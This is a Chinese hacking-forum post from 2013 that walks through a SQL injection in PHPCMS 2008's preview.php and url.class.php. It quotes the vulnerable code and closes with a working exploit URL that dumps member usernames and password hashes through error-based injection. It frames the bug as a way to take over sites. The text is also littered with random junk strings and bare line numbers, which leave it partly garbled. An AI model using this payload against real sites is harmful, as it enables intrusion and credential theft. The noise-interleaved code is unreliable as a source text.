中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
k: ?- a5 ~* L# ~# q4 z3 d9 w. K3 W
/ B* J! N1 y8 w6 a! m3 c0 D$ r
要转摘的兄弟们,你们还是带个版权吧!
! P! `$ r) A' ~5 u6 {8 s: y4 h+ N
1 W; j; g9 T% Y) p; i* w
组织 :
http://www.safekeyer.com/
(欢迎访问)
$ Q& ~/ F+ ^' p Q( N
t7 d) j9 k3 {: t3 z
author: 西毒 blog:
http://hi.baidu.com/sethc5
7 \4 X% [/ |! o0 t4 a6 H" H
9 }; \: v- P& }. Y- r+ p
) c" l. r C1 J1 B
; {* Y9 [0 `- L7 q2 ~. J) s
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
! A$ l! }2 v5 I! p- |0 h+ `
. s2 i- j/ a: L" H3 c+ ~* o" ~
过程不明显的我就省略了。
% }: a0 z& L+ m& s/ Z
: ~% }7 ^+ V7 r9 Z: V
在preview.php 中第7行
* C' I4 {4 Q0 ^: T+ }7 X
6 Z, r, `! b, L- g$ T+ J. o
$r = new_stripslashes($info);
- U- W" F5 |: A6 _- B% n' `
3 d8 ^1 c' I# D, v* Q
我们跟踪new_stripslashes这个函数
5 H' }: o' _4 B" W/ d
: U e9 N! o z$ Q# v
在global.func.php中可以找到
, k2 k1 Y/ O+ R5 H( W4 w4 z* W
; C8 E, s" U( e2 {& G M3 U2 k
1
9 H+ m" F+ R: C- A6 A( f
2
, G- u, I% G, z, `' A
3
5 R. X0 ]; O% f' z
4
5 z1 W* `# i0 [4 ~# o" n
5
& d* u9 e7 |3 t
6 function new_stripslashes($string)
( f6 X* ]0 m h3 n, \0 L
{
7 ~$ B4 u0 r7 n! P& C6 g4 U
if(!is_array($string)) return stripslashes($string);
2 I7 R) r+ W2 S! ]$ z8 d: }1 G
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
/ \+ x) R* {! F0 h- p$ x5 D) l3 x
return $string;
+ Z( p1 x; _0 ?. C/ D" e! |
}
, B. i2 M2 ]- N2 o; ]1 M/ p
( I$ y" k" O0 o) y1 ^, z
这个函数的功能不用解释了吧
7 l/ }$ @6 k4 i3 b. _6 F1 R
$ l6 _3 n) K2 l% W3 ~' }, a& N' L
所以我们看具体应用点再哪?
; i+ W# c$ G# R% Q/ D
" D) S9 t0 b) R
1
A% [1 v9 ~/ X3 m1 U: B, e
2
! V1 @! Y$ S$ q. g7 z
3
5 A: Y1 h$ O) Q
4
! l4 `( H" I# u+ T
5
4 u( L/ t3 D, J) H# E1 ^4 f
6
, g$ U+ T2 B$ V% k: H
7
3 d! v- O! H: |- p% P
8
9 {$ ]. r( y r m; e
9
- l/ d: i3 j$ c7 W/ R) I% @( _ {
10
% |, R! p& t- ^" B+ V
11
7 L* J% P3 |& Z& I8 j. |) }
12
# ^$ O& F, b" x8 _8 X( z
13
7 L1 o( ~* |, {; @0 i1 P
14
5 G8 _% a' O2 P3 b, g
15
7 z& I' v8 c0 \: U# F
16
) ]. B# T3 Q2 s) n; i; B; E& ^4 l8 F
17
2 W' N% T) @: {* a6 X
18
0 O# `8 j% X) r! e$ t# x
19
. h, b2 V( z$ n8 h% L( o
20
, X! P+ f3 s0 D# P" D; i
21
K$ v& ]- b2 A+ G! |; a& t
22
2 E. R4 {6 E! C+ T
23
9 @5 t" [3 p9 J c: o
24
, Q3 g c' g* k9 \6 K
25
/ }) ]" V& [. B1 k7 n: k
26
7 ~5 ~5 a9 _, I/ |0 [. Q. Z
27
8 w4 S+ h8 p' ]7 X- S5 Y
28
, B/ Z8 {5 U, q2 k; R% g) p- w
29
. W' _9 R" o9 a! o$ Z' x
30
+ }% _+ B0 T# X$ w! J
31
5 \2 C8 k' S$ S+ D
32
3 I$ m5 }3 j2 A9 F
33
. K7 [( }0 T% Y- o% ]
34
0 E5 j) D6 U% l F# f- u& a: H1 F) B
35 require dirname(__FILE__).'/include/common.inc.php';
5 C( Y9 \) R3 Q H/ h3 [. K
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
; x$ b% y0 r* o/ E0 U8 y/ y
require_once CACHE_MODEL_PATH.'content_output.class.php';
: L. u- F* ~; {3 i$ {+ Q" q4 u5 A$ N
require_once 'output.class.php';
6 ~* O; s0 |0 ^. f0 R
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
% c* } r+ R; `# F
$r = new_stripslashes($info); //反转义了.....关键
0 e$ L5 B8 I& i7 N u7 O
$C = cache_read('category_'.$r['catid'].'.php');
+ f3 k! x5 Z% |# p/ G- f
$out = new content_output();
4 g+ O& V3 r6 w4 s- v* j* M: P7 Q
$r['userid'] = $_userid;
- t3 T- Z. y! |) T! }5 l* p+ q
$r['inputtime'] = TIME;
& i5 V0 {' P# w u
$data = $out->get($r);
5 q' {$ H$ B7 h) N7 s# f: {* x
extract($data);
3 c' F( f. F5 A: q1 ~9 Q
$userid = $_username;
0 v0 L% F4 K! t2 i, ?
for($i=1;$i<10;$i++)
' F0 y+ J- s, m. @) Z8 ^
{
+ z/ i! k% G, t* f% g: p, f
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
f+ T, ~. j' P- ?3 \5 P
}
8 j/ U! z* @- @: P, h5 Q t
# ^ F+ e% i/ p0 f; i
$array_images = $str_attachmentArray;
! A$ Q+ i/ _3 e0 M+ r3 E
$images_number = 10;
; c4 B2 j6 H2 t* p2 b- Y( O- |7 y, p
$allow_priv = $allow_readpoint = 1;
: E' H) b/ p0 a' J
$updatetime = date('Y-m-d H:i:s',TIME);
+ ^6 X2 c% f; W1 G3 G
9 J5 I2 D l- ~9 t* r$ |
$page = max(intval($page), 1);
" R! m i: S+ G& n
$pages = $titles = '';
) m3 d" p! n4 e. w! K
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
5 l8 X7 H- t i8 K
{
& F0 Z( g" V/ s/ ]/ e
require_once 'url.class.php';
) H/ ~: j+ q. D* o ]7 v
$curl = new url();
7 K% e, ]! |" ^9 G. S1 d, [
$contents = array_filter(explode('', $content));
" I0 X$ M0 N& S! A, h, h
$pagenumber = count($contents);
8 t2 W3 ^$ o; a- r3 M: A; y
for($i=1; $i<=$pagenumber; $i++)
3 _: f- U+ a6 o/ r& y7 [! S- s r- B
{
o( m" a7 K. J: h, y7 U6 d4 f% @# B: K
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
4 ~0 `, k' W8 k% f4 f
}
4 _1 i( q4 k7 f: R2 ]" _
其中细节我就不说了...
* \( H( {7 H, M4 j
: R w: n1 e4 O3 {3 @+ s
我们看看这个$curl资源句柄中的show方法
8 l" ]+ i4 D, }2 u# A ^" f% x! k
% x! w" Q- w3 |' w9 p
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
6 a3 |0 |! f2 `4 V1 ]) N
7 j# T# a5 v. H8 J6 v V% M
1
$ Y+ K0 W: ?4 W, @8 S
2
2 t) {8 K O( A
3
, p `5 C" V/ u
4
8 A% p, \- K8 l
5
y8 c/ g$ p( I2 f, _" e1 j
6
5 L8 f7 g, j; j+ M$ X
7
( X! i l8 W$ r% n! d) m( A3 `
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
i( @+ {% k: M1 l' X
{
' s c6 I/ V* m. @3 R
global $PHPCMS;
3 L- I2 w0 U, E9 s6 `) j
if($catid == 0 || $time == 0 || $prefix == '')
' a& [9 g0 k# I4 U; y
{
8 Z) B8 T: t/ J0 k: @ h! S. ^! _
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
# `0 k! D* I" T- L
if($r['isupgrade'] && !empty($r['url']))
$ l1 a$ Y$ ?0 \3 z
{
% d2 V( r- }& D/ L7 n
3 `$ B" k' C, W7 V
所以结合前面的......我们x站了吧
8 N c1 F" ~6 q: I& U8 X8 m
, B; L& Q6 v; u
给出exp
) f! [* s. Q8 J
( [+ G" g8 R; s( t
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
- j+ H% J. a3 H4 {, r
; X7 m8 L5 t- a5 t' D
截图看一下
! f$ B; B2 X3 {( k
6 B9 ]7 l7 R" C/ x$ V
最后真心说句,360收购漏洞计划,价格真心低.....
, f. P7 }% A5 {3 Q$ Y
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2